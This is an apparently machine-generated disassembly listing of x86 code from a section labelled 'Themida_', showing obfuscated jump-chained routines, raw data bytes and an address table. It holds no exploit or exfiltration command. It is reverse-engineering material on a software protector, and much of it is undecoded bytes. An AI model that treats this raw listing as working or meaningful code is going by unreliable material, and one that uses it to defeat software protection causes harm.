		dd 0FF8034E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h, 0FF7FA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E9005:				; CODE XREF: Themida_:005E2714j
		push	dword ptr [edi+24h]
		push	ebx
		pop	dword ptr [edi+24h]
		pop	ebx
		jmp	loc_5E98A0
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E998E950h, 8853FFFFh, 0E68956D7h, 0FFEAD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E9029:				; CODE XREF: Themida_:005E46ADj
		sub	ecx, 6FD4577Ah
		jmp	loc_5E35BA
; ---------------------------------------------------------------------------
		dd 0E904C383h, 0FFFFBA71h, 26663868h, 4AE95A39h, 52FFFFB8h
		dd 0EE4818BAh, 0C2814259h, 0A611B7E9h, 0FF64D6E9h, 81C501FFh
		dd 796D73EDh, 0BA525804h, 27D34F5Fh, 0FFD34FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E906D:				; CODE XREF: Themida_:005E0EF4j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5E7577
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 8Bh
		dd 0EC832404h, 24348904h, 4EC81h, 6BE90000h, 2CFFFFB6h
		dd 0E6FCE96Fh, 0C281FFFFh, 4, 5204C283h, 42474FFh, 24048F5Ah
		dd 2C1815Ch, 0E9000000h, 0FFFFE04Dh, 0AF1048BFh, 41F78101h
		dd 15C0F2Bh, 34FF5FFEh,	0C4815D24h, 4, 0FF70BAE9h, 4ADCE9FFh
		dd 0C8BFFFFh, 4C48324h,	14A6BD55h, 0E58129A0h, 57316ECBh
		dd 5EA4E581h, 0E5C101B0h, 56A3E907h, 0C188FFFFh, 2434FF58h
		dd 0FFAC39E9h, 1C812DFFh, 98E9181Eh, 55FFFFFCh,	0B2615FBDh
		dd 5DEB3129h, 0FF9D06E9h, 5F43BFFFh, 0EFC17524h, 0DEF8106h
		dd 0C1414C65h, 0B85004EFh, 0FCD24FF7h, 3D3CC781h, 0C701737Dh
		dd 0FF89D2E9h, 58EB81FFh, 112C147h, 0AA3DE9D8h,	0FE01FFFFh
		dd 4C6815Fh, 87000000h,	248B2434h, 249E6824h, 42E90000h
		dd 49000004h, 0E777E981h, 0CF0117BBh, 81CF2959h, 4D411AEFh
		dd 0D26BE909h, 7568FFFFh, 89000019h, 0EC812414h, 4, 0BE243489h
		dd 6C665087h, 0E907EEC1h, 0FFFF98F9h, 5C240487h, 2C181h
		dd 0C870000h, 24248B24h, 2424D366h, 4A00E99Ch, 9168FFFFh
		dd 89000000h, 8B54241Ch, 0C483241Ch, 0FBBE5604h, 536FB36Eh
		dd 0BC8B850h, 0C3894A7Ah, 0FBCB8158h, 0C1063C5Ah, 0D3F702EBh
		dd 4D17EB81h, 0E94B33F6h, 0FFFFBCBFh, 938BE9ADh, 7ABDFFFFh
		dd 310C865Eh, 90E95DE8h, 0FFFFFF54h, 50582434h,	0FFCB03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E9211:				; CODE XREF: Themida_:005E6BE8j
		push	esi
		mov	esi, 7106294h
		add	ebp, 31765631h
		add	ebp, esi
		push	ebx
		mov	ebx, 31765631h
		jmp	loc_5E7FE0
; ---------------------------------------------------------------------------


loc_5E922A:				; CODE XREF: Themida_:005E757Aj
		push	ebx
		jmp	loc_5E0C6E
; ---------------------------------------------------------------------------
		dd 0E9241C31h, 0FFFFFFCFh, 59CA005Bh, 0C2FECAFEh, 8002C280h
		dd 0EA8087EAh, 8BD188CDh, 89522414h, 4C281E2h, 81000000h
		dd 4C2h, 0B774E900h, 192DFFFFh,	0E9685F57h, 0FFFFC629h
		dd 240C8B66h, 0E7895751h, 4C781h, 0EF830000h, 243C3304h
		dd 0FFBD75E9h, 241C33FFh, 33241C31h, 525C241Ch,	0FF9E2EE9h
		dd 0E9C788FFh, 0FFFF5DCEh
; ---------------------------------------------------------------------------


loc_5E929C:				; CODE XREF: Themida_:005DF205j
		shl	eax, cl
		push	78AFh
		mov	[esp], ecx
		jmp	loc_5E64B3
; ---------------------------------------------------------------------------


loc_5E92AB:				; CODE XREF: Themida_:005E068Fj
		mov	ebp, 277A40DCh
		xor	ebp, 65413FCAh
		sub	ebp, 31E4465Eh
		shl	ebp, 2
		sub	ebp, 5B923C80h
		push	eax
		mov	eax, 5C2B40DDh
		inc	eax
		xor	eax, 0E5DC83AAh
		jmp	loc_5E0694
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0BD0DA6B9h, 555BD901h, 2BDh,	93ACE900h, 42B0FFFFh, 0BB34C0FEh
		dd 7F04C8FEh, 0FFE2B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E92F9:				; CODE XREF: Themida_:005DE4D4j
		pop	eax
		neg	ebx
		shr	ebx, 8
		inc	ebx
		push	eax
		jmp	loc_5E052C
; ---------------------------------------------------------------------------
		dw 8152h
		dd 6CA22404h, 815E5B1Bh, 1B6CA2EEh, 0C6315A5Bh,	4A30E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E931E:				; CODE XREF: Themida_:005DFB0Bj
		sub	eax, 318C197Bh
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5E5E9B
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 3CA852F9h, 0A852F9BBh, 0FFEB313Ch, 0E95D2434h
		dd 0FFFFBAF2h, 4C381h, 68520000h, 4, 5AD3015Ah,	5C241C87h
		dd 3C8BF821h, 4C48124h,	0C1000000h, 5FE90AE8h, 57FFFF78h
		dd 0C781E789h, 4, 2C781h, 0FCE90000h, 81FFFFC6h, 0E448F3CBh
		dd 81D3F75Bh, 96438CEBh, 0ACEB8116h, 81432945h,	0D63AA8EBh
		dd 55C38131h, 0E9D4F2E5h, 0FFFF64F7h, 24048B66h, 308C68h
		dd 242C8900h, 0E950E589h, 0FFFF744Ch, 3486E981h, 0CE2968D5h
		dd 81240C8Bh, 4C4h, 5EF58900h, 0E5C1EDD1h, 9B53E902h, 433FFFFh
		dd 24043124h, 5C240433h, 24040166h, 47B0E99Ch, 34FFFFFFh
		dd 24048B87h, 47E968h, 241C8900h, 2434FF54h, 51241C8Bh
		dd 0C181E189h, 4, 0FFD437E9h, 7BE981FFh, 8142C537h, 9C582FE1h
		dd 9C18152h, 530CC464h,	21A502BBh, 5BD929E5h, 1FE9CE01h
		dd 64FFFFEAh, 63E9028Fh
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E945B:				; CODE XREF: Themida_:005E7145j
		push	edx
		jmp	loc_5E847C
; ---------------------------------------------------------------------------
		db 0B8h, 88h, 27h
		dd 8C350148h, 1014827h,	0E6858C6h, 89000044h, 74FF2434h
		dd 73E90424h, 87FFFFAFh, 505C241Ch, 8EE9E089h, 0E9FFFFBCh
		dd 0FFFF472Eh, 46E9E189h, 51FFFFD9h, 664E9h, 1C810500h
		dd 0ED2D181Eh, 111510Ch, 0EDBE56D8h, 111510Ch, 56E95EF0h
		dd 89FFFFFCh, 5F54243Ch, 67DE68h, 24048900h, 113A65B8h
		dd 0F9A6E96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E94CE:				; CODE XREF: Themida_:005E3268j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		push	ecx
		push	28263586h
		pop	ecx
		and	ecx, 239A1C0Eh
		jmp	loc_5E309A
; ---------------------------------------------------------------------------


loc_5E94F4:				; CODE XREF: Themida_:005E5362j
		add	dword ptr [esp], 47DD0BEDh
		pop	edx
		push	ecx
		jmp	loc_5DFDCD
; ---------------------------------------------------------------------------


loc_5E9502:				; CODE XREF: Themida_:005E3F56j
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	ebx
		jmp	loc_5E1E77
; ---------------------------------------------------------------------------
		dw 0D529h
		dd 0DEB9515Ah, 8153745Bh, 0DF3D82EEh, 0F1B9514Bh, 1703E28h
		dd 0CE0159CEh, 28F1EE81h, 0C681703Eh, 4BDF3D82h, 0FF530AE9h
		dd 0E9D2F7FFh, 0FFFFDDB0h, 37A7C681h, 0E6814820h, 3B351F9Ch
		dd 7C3BEE81h, 0F729A963h, 5FFD295Eh, 535DE829h,	111268h
		dd 850FE900h, 0EC83FFFFh, 241C8904h, 4B2D0B7h, 0C6EA80h
		dd 0C6C280FAh, 0FF6CC1E9h, 0F7ED81FFh, 5A70A524h, 31242C33h
		dd 4AE9242Ch, 81FFFF62h, 91881F7h, 0C781472Dh, 63124B0Dh
		dd 59E94F47h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E95AB:				; CODE XREF: Themida_:005DECD1j
		pop	esp
		jmp	loc_5E7FBE
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 10068h, 240C8B00h, 5A9CE957h, 0C181FFFFh, 148A3D76h
		dd 5255D901h, 0FF5623E9h, 808FB7FFh, 0F92807E9h, 8B07C180h
		dd 0C481241Ch, 4, 0C180F900h, 0A1C1808Fh, 59C8305Bh, 975E9h
		dd 24148B00h, 0FFACECE9h, 0BE6656FFh, 0F7666D43h, 0F68166DEh
		dd 566A623h, 2D6631F8h,	0A2E90794h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9617:				; CODE XREF: Themida_:005E633Bj
		push	eax
		not	dword ptr [esp]
		jmp	loc_5E5142
; ---------------------------------------------------------------------------
		dd 24048B54h, 0E9E68956h, 0FFFFE11Ah
; ---------------------------------------------------------------------------


loc_5E962C:				; CODE XREF: Themida_:005E88B3j
		push	esi
		mov	esi, 77866FAFh
		dec	esi
		xor	esi, 0DF35333h
		xor	eax, esi
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		jmp	loc_5E6F52
; ---------------------------------------------------------------------------
		db 50h
		dd 0C688C888h, 582434FFh, 0FFAC94E9h, 4E7C1FFh,	0C3EC781h
		dd 0FD89FABFh, 1C6F215Fh, 0E92434FFh, 0FFFF8F22h, 0E9241C89h
		dd 0FFFFBD6Fh, 7BF2814Ah, 0C116DE03h, 0EA8102E2h, 0C12A569Eh
		dd 0FF7DB7E9h, 58C201FFh, 0EA81FA01h, 1BCA666Ah, 81FA015Fh
		dd 161A9EEAh, 1028118h,	0E9000000h, 0FFFF9969h,	0EC81D830h
		dd 4, 0B6241489h, 0AEEBE984h, 0F681FFFFh, 2013527Dh, 3BEC681h
		dd 0F2894EBDh, 8324348Bh, 3CE904C4h, 87FFFFCFh,	248B241Ch
		dd 5FF82124h, 0FFF496E9h, 0C8B66FFh, 0E0895024h, 405h
		dd 7D8AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E96FA:				; CODE XREF: Themida_:005E31CFj
		mov	ecx, 3DA45A94h
		add	dword ptr [esp+4], 62CD163Fh
		add	dword ptr [esp+4], 72556D00h
		sub	[esp+4], ecx
		push	ebx
		mov	ebx, 72556D00h
		sub	[esp+8], ebx
		jmp	loc_5E2CA4
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 33000000h,	2C31242Ch, 242C3324h, 0F9F7665Ch
		dd 0FFAB68E9h, 0D3F743FFh, 0C1B5EB81h, 81436F3Eh, 9EBC6EEBh
		dd 5BDE291Ah, 0FFAD61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E9755:				; CODE XREF: Themida_:005E7940j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 88D51A3Bh
		jmp	loc_5E1CFE
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4A30F24h, 3FE99C24h,	81FFFF44h, 7174D9F5h, 4483E92Fh
		dd 0B551FFFFh, 59EB2869h, 0F3805966h, 5BD83072h, 0C006E8C0h
		dd 4D2C03E0h, 120D68h, 240C8900h, 0EF88C588h, 0F8005859h
		dd 241C8B66h, 0E9E68956h, 54Dh,	42474FFh, 582434FFh, 8904EC83h
		dd 86E9243Ch, 68FFFFE7h, 7EFBh,	0F7243489h, 2DE92414h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E97DF:				; CODE XREF: Themida_:005E4878j
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------


loc_5E97E4:				; CODE XREF: Themida_:005E66D5j
		and	ecx, 13D341F6h
		xor	ecx, 0AEAC6C14h
		add	edx, ecx
		pop	ecx
		mov	esi, edx
		pop	edx
		sub	[edi+24h], esi
		mov	esi, [esp]
		jmp	loc_5E258F
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 49h
		dd 5FFFFFABh, 405h, 5C86E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9812:				; CODE XREF: Themida_:005E6A80j
		neg	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 376F7B72h
		add	ebx, ebp
		jmp	loc_5E5213
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0A668240Ch, 8900000Ah, 5E542434h, 68E768h, 688EE900h
		dd 0E7C1FFFFh, 4EC8302h, 0BE243489h, 53DB5B5Ah,	0FCF6E94Eh
		dd 96BFFFFFh, 8125D667h, 622F55CFh, 0D7F74F6Eh,	2983EF81h
		dd 0F8013F64h, 6EC62D5Fh, 5A05578Ah, 0E92D233Ah, 0FFFFBE5Eh
		dd 4EC835Dh, 0BF243C89h, 6824192Ah, 1DC3CF81h, 0E9562EADh
		dd 0FFFFB84Eh, 81241C8Bh, 4C4h,	0E9535100h, 0FFFF8B02h
; ---------------------------------------------------------------------------


loc_5E98A0:				; CODE XREF: Themida_:005E78F8j
					; Themida_:005E900Dj
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 3B77591Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5DFDD7
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 8D273DAh, 4D6CB850h, 1AE93AB8h, 56FFFFF6h
		dd 8904EC83h, 0FE9240Ch, 0D0FFFF95h, 68D7F6E7h,	7FAFh
		dd 0B1240C89h, 493BE900h, 0D829FFFFh, 0E9241C8Bh, 0FFFF548Ah
; ---------------------------------------------------------------------------


loc_5E9900:				; CODE XREF: Themida_:005E2AC9j
		add	dl, bh
		jmp	loc_5E7ADA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4EB8300h, 0FF85B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E9915:				; CODE XREF: Themida_:005E4411j
		mov	edi, 27425D54h
		push	251Dh
		mov	[esp], ecx
		mov	ecx, 7EB673C3h
		add	[esp+8], ecx
		pop	ecx
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 7EB673C3h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5E17D9
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815A24h, 4, 0FFABD5E9h, 4264E9FFh, 0B951FFFFh, 40B96534h
		dd 0EEBBD55h, 0CD813B53h, 3E5C6819h, 1A1BC581h,	686C49h
		dd 81000000h, 9322404h,	2C2926A2h, 242C8124h, 26A20932h
		dd 0D4E9515Dh, 52FFFFA8h, 0FFFFFFBAh, 5AD029FFh, 432DE8D1h
		dd 5597F79h, 269B2C84h,	0FF9772E9h, 41E957FFh, 81FFFF57h
		dd 661500C5h, 5DEF01DEh, 2B951h, 0B9510000h, 53D03CDh
		dd 8102E1C1h, 7E6192E9h, 0C4C1810Fh, 4970E749h,	0A5B6F181h
		dd 0CF012551h, 78E8E959h, 0E95DFFFFh, 0FFFF900Ch
; ---------------------------------------------------------------------------


loc_5E99E8:				; CODE XREF: Themida_:005E1309j
		mov	esi, 4CF21417h
		xor	eax, esi
		jmp	loc_5E0621
; ---------------------------------------------------------------------------
		dd 4EC8159h, 89000000h,	15E92434h, 55FFFFD8h, 557FC7BDh
		dd 842EE933h, 0B62DFFFFh, 5D769E7Ch, 2E68C331h,	0E900000Eh
		dd 0FFFFBF5Eh
; ---------------------------------------------------------------------------


loc_5E9A20:				; CODE XREF: Themida_:005E7D69j
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	esi, [esp]
		jmp	loc_5DF30A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 8C70E924h, 0C481FFFFh, 4, 405h, 4C08300h, 2474FF50h
		dd 48F5804h, 523AE924h,	9CBDFFFFh, 216D554Bh, 0F5E95DEEh
		dd 81FFFFB5h, 4C2h, 24148700h, 5609E95Ch, 0D701FFFFh, 0FFAC39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E9A79:				; CODE XREF: Themida_:005E4CDBj
		xchg	edx, edi
		inc	edi
		xchg	ecx, edi
		not	ecx
		jmp	loc_5E8449
; ---------------------------------------------------------------------------
		db 4, 0C5h, 28h
		dd 0E9C52CD0h, 0FFFF570Bh
; ---------------------------------------------------------------------------


loc_5E9A90:				; CODE XREF: Themida_:005E5A0Ej
		pop	esi
		jmp	loc_5E4746
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 4EC81h, 3C890000h, 0A77BF24h, 0F7811363h, 22AA7AEDh
		dd 7EFC14Fh, 8108EFC1h,	9015E6F7h, 8BFB2942h, 0C481243Ch
		dd 4, 5374BD55h, 0C8E92F53h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9ACF:				; CODE XREF: Themida_:005E4D91j
		add	esp, 4
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5E46BE
; ---------------------------------------------------------------------------


loc_5E9AE5:				; CODE XREF: Themida_:005DEA72j
		xor	edx, 337D3F9Fh
		add	edx, 0B47E114Eh
		sub	ebp, edx
		pop	edx
		add	ebp, esi
		add	ebp, 1BD54D26h
		jmp	loc_5E7B87
; ---------------------------------------------------------------------------
		db 68h,	1, 0
		dd 34FF0000h, 4C23E924h, 0E957FFFFh, 0FFFFB364h, 8DE9E189h
		dd 54FFFFDDh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5E6B5A
; ---------------------------------------------------------------------------
		db 89h
		dd 8BEF89C5h, 8950242Ch, 6ED3E9E0h, 0D029FFFFh,	0FF7D2FE9h
		dd 0E28952FFh, 0FFC6A1E9h, 0D1F749FFh, 6D76E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9B4E:				; CODE XREF: Themida_:005E46D9j
		pop	ecx
		jmp	loc_5E301F
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6830000h, 24348704h, 0FFBED9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E9B65:				; CODE XREF: Themida_:005E2059j
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 1EE71A10h
		jmp	loc_5E7AF2
; ---------------------------------------------------------------------------
		dw 459h
		dd 6FF3E9CEh, 0C483FFFFh, 0D53BE904h, 0DBBBFFFFh, 8371DE40h
		dd 0F38101EBh, 1CFF0B65h, 345EE381h, 0BBE90DD4h, 31FFFFAFh
		dd 55D031C2h, 1BDh, 0E9E82100h,	0FFFFCE69h, 0C281FA01h
		dd 43D06A33h, 6734EA81h, 555F66D6h, 0FF741AE9h,	32FF64FFh
		dd 0FF3FF5E9h, 4C481FFh, 0E9000000h, 0FFFF5879h, 24048F58h
		dd 6624248Bh, 0E9240489h, 0FFFF3FDAh
; ---------------------------------------------------------------------------


loc_5E9BE4:				; CODE XREF: Themida_:005E8199j
		pop	esi
		push	ebx
		mov	ebx, 197476C3h
		inc	ebx
		not	ebx
		add	ebx, 130611E9h
		and	ebx, 3F694309h
		xor	ebx, 39010304h
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esi, 4
		jmp	loc_5E1A3B
; ---------------------------------------------------------------------------
		db 0ADh, 51h, 0B9h
		dd 4EEA69C7h, 1C181h, 0B8500000h, 0FFFFFFFFh, 0FFA3E5E9h
		dd 3E95BFFh, 0BBFFFF54h, 7DF724BDh, 4B04E3C1h, 0FF8667E9h
		dd 0A6EF81FFh, 1367757h, 3EBE56CFh, 812FEF05h, 0FA014FE6h
		dd 991EE933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9C56:				; CODE XREF: Themida_:005E7FF0j
		push	edx
		mov	edx, 53EA32DDh
		sub	edx, 24486167h
		or	edx, 1F023FB6h
		shl	edx, 7
		and	edx, 3B0E4F22h
		add	edx, 4EAFDD9Ch
		jmp	loc_5E517A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 2DB168h, 240C8900h, 5352E189h, 41285F68h
		dd 3F5FE97Fh, 0CB31FFFFh, 0FF81F9E9h, 2EFC1FFh,	8106E7C1h
		dd 0E57C4FC7h, 7CDAE96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9CAE:				; CODE XREF: Themida_:005E8708j
		mov	esi, [esp]
		jmp	loc_5E72D4
; ---------------------------------------------------------------------------
		dw 7BEh
		dd 0F746155Ch, 5EEC1DEh, 551BEE81h, 0BB5305CFh,	45AC3637h
		dd 0D2E94343h, 55FFFF9Dh, 0FF7A32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E9CD9:				; CODE XREF: Themida_:005E3FA3j
		add	ebx, 1
		push	ebp
		mov	ebp, 401870B7h
		add	ebx, ebp
		pop	ebp
		push	ebp
		push	ebx
		mov	ebx, 1018FDC9h
		jmp	loc_5DFE54
; ---------------------------------------------------------------------------


loc_5E9CF4:				; CODE XREF: Themida_:005E5312j
		add	bl, 71h
		mov	dx, [esp]
		add	esp, 2
		movzx	eax, al
		jmp	loc_5E4FB9
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 348702C6h, 0B6E95C24h, 2CFFFF72h,	2434FF9Dh
		dd 4C48159h, 30000000h,	0C0B60FC3h, 152F6866h, 24048966h
		dd 0FF3E85E9h, 0A5ED81FFh, 5119DA21h, 0F15DDCB9h, 4BD98774h
		dd 0FF6706E9h, 0E5BA52FFh, 0F7537B5Eh, 0F922E9D2h, 0C981FFFFh
		dd 29017A09h, 6348C181h, 7FE9708Ch, 89FFFFC6h, 0EA2AE9E7h
		dd 1C8BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5E64D8
; ---------------------------------------------------------------------------


loc_5E9D86:				; CODE XREF: Themida_:005E7B8Bj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5E66EF
; ---------------------------------------------------------------------------
		dd 581E1FBFh, 1C0DBE78h, 0EE81A460h, 6D967ECAh,	5826C681h
		dd 0FE014FDFh, 0FFCB49E9h, 5EE957FFh, 57FFFFF3h, 0E955E789h
		dd 0FFFF84CAh, 2C8BE901h, 4C48124h, 51000000h, 42474FFh
		dd 24048F59h, 2404FF5Ch, 3DD0E99Ch, 4B43FFFFh, 0FFF322E9h
		dd 240431FFh, 0FF6F99E9h, 81E389FFh, 4C3h, 4C38300h, 0FF607CE9h
		dd 12E95AFFh, 83000000h, 148704C2h, 34FF5C24h, 24148B24h
		dd 0FF42B5E9h, 4C183FFh, 5C240C87h, 5C241487h, 0FF2434FFh
		dd 68582434h, 79A7h, 0FF77C1E9h, 0ACE961FFh, 5CFFFFCCh
		dd 47E9EF01h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9E4F:				; CODE XREF: Themida_:005E2A59j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5E37F7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	0C0BD242Ch, 813E7808h, 0B019C6CDh
		dd 0F7DDF713h, 55E945D5h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9E87:				; CODE XREF: Themida_:005E09E2j
		mov	ebx, 63C74FF0h
		shr	ebx, 6
		shl	ebx, 6
		jmp	loc_5DDD59
; ---------------------------------------------------------------------------


loc_5E9E97:				; CODE XREF: Themida_:005E1A54j
		mov	edx, 15AB05F5h
		sub	edx, 0F3DBD30Ah
		sub	esi, 66597A24h
		add	esi, edx
		add	esi, 66597A24h
		pop	edx
		push	edi
		jmp	loc_5DF889
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0A5EE81E6h, 21B6E6ACh, 8D685EF1h, 8900006Bh,	0FCBD242Ch
		dd 31480040h, 4F215DE9h, 240C8B1Ch, 0E904C483h,	0FFFFF07Fh
		dd 83242489h, 348904ECh, 4BE24h, 74010000h, 5B5E0424h
		dd 46851h, 27E90000h, 0D1FFFF6Ch, 0A9D68E1h, 34890000h
		dd 1BFEBE24h, 0B9515AA9h, 2A944180h, 3CCDC181h,	0CE01D776h
		dd 4EEC159h, 0FF863EE9h, 2434FFFFh, 5A545259h, 40CE68h
		dd 240C8900h, 4B9h, 59CA0100h, 4BE56h, 0F2010000h, 0FF6CE8E9h
		dd 2735B8FFh, 31BE0B93h, 310B9327h, 0EB8158C6h,	14404420h
		dd 0C381F301h, 14404420h, 0F31BE95Eh, 0A768FFFFh, 89000043h
		dd 6EB1240Ch, 8065F180h, 0F18075E1h, 8EBEE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E9F82:				; CODE XREF: Themida_:005DF319j
		xor	eax, ecx
		jmp	loc_5E6336
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0B8h
		dd 69FFFF61h, 0BDF8EBD7h, 0A97CFC30h, 0E0F88996h, 45004001h
		dd 49006B46h, 94F8C997h, 137C90EBh, 2000002h, 2	dup(1000000h)
		dd 0A9000000h, 0F88996h, 4 dup(0)
		dd 28000000h, 8E005EEFh, 67005F25h, 52005EC3h, 4E005ED6h
		dd 0A9005EC2h, 45005F1Eh, 0CD005F28h, 75005EEDh, 0D1005EA5h
		dd 0CE005F4Fh, 12005F1Ch, 0D7005F60h, 0FF005F59h, 52005F22h
		dd 9F005EB1h, 26005EB2h, 68005F1Fh, 0A7005F39h,	60005F33h
		dd 0E7005EE0h, 38005EC1h, 73005F11h, 0AC005EA7h, 11005EA3h
		dd 0F1005EE0h, 2C005F33h, 0A5005F58h, 3A005F35h, 0A2005F3Bh
		dd 45005F38h, 55005F5Dh, 0B005F2Ch, 0B5005F39h,	0CB005EC0h
		dd 7E005EC4h, 0A005F27h, 1B005EDAh, 74005EC3h, 0DE005F12h
		dd 0EA005ED9h, 27005ED8h, 5F005F41h, 9B005F25h,	69005EFDh
		dd 18005EAEh, 75005F44h, 0F2005EF7h, 26005ED1h,	2005ED7h
		dd 9D005EEBh, 0D4005EA6h, 0E4005EC1h, 0ED005F48h, 36005ED6h
		dd 0D4005F63h, 0B5005EEAh, 82005F0Dh, 0D2005F54h, 0C5005EAAh
		dd 0DF005EA6h, 59005ED2h, 58005F01h, 1005EFBh, 4005F0Fh
		dd 9D005F0Bh, 7B005EA8h, 40005F2Dh, 64005EE5h, 0DD005EE8h
		dd 6F005F22h, 31005EF5h, 0AB005EACh, 0BD005EB5h, 16005F37h
		dd 0A3005F2Eh, 0DF005EC5h, 73005F19h, 0EB005F1Ah, 6F005EADh
		dd 0BA005EA8h, 3005EDEh, 1D005EF3h, 3A005F3Bh, 9D005F2Bh
		dd 0E005F07h, 0EC005F0Bh, 5F005EE9h, 0F5005F2Dh, 0A3005F13h
		dd 3B005EB6h, 91005EA9h, 0DD005ED2h, 58005ECBh,	5005F1Dh
		dd 55005EFCh, 3D005F31h, 5A005EE8h, 0E4005F65h,	93005EE0h
		dd 80005EB1h, 45005F06h, 13005EE0h, 1E005F24h, 6E005EDBh
		dd 4E005ECAh, 40005EB3h, 92005F07h, 0DE005F46h,	0BD005EB0h
		dd 84005F3Bh, 74005EEAh, 6005F20h, 0D4005EC7h, 65005F10h
		dd 89005EB9h, 55005F13h, 0EA005EC0h, 9A005ECDh,	5A005EC3h
		dd 3D005EB1h, 0B7005EF4h, 8C005F55h, 0A1005EA6h, 0B7005F47h
		dd 35005F53h, 0AA005EDBh, 0FE005EFCh, 0ED005EC0h, 46005ED5h
		dd 3E005F49h, 0A4005EB7h, 84005F3Eh, 75005EDEh,	0A4005EB2h
		dd 0AC005F03h, 0B3005F28h, 0CF005EF5h, 0AB005EE3h, 0E0005EFEh
		dd 0A2005F33h, 5EB4h, 54005EE0h, 0F7005F1Ah, 8C005EA5h
		dd 0EC005EE0h, 0FA005ED3h, 53005EBFh, 19005EE3h, 0A5005F5Bh
		dd 0B8005EF2h, 0F4005EEEh, 9C005EC4h, 2A005ED6h, 0F9005ED0h
		dd 7F005F25h, 26005F21h, 0DB005F36h, 0B005EFDh,	0C8005F5Eh
		dd 0F1005F51h, 0A6005EA3h, 35005F64h, 4D005EBCh, 2F005EC0h
		dd 9A005ECFh, 5E005EEEh
		db 49h,	5Fh, 0
; ---------------------------------------------------------------------------


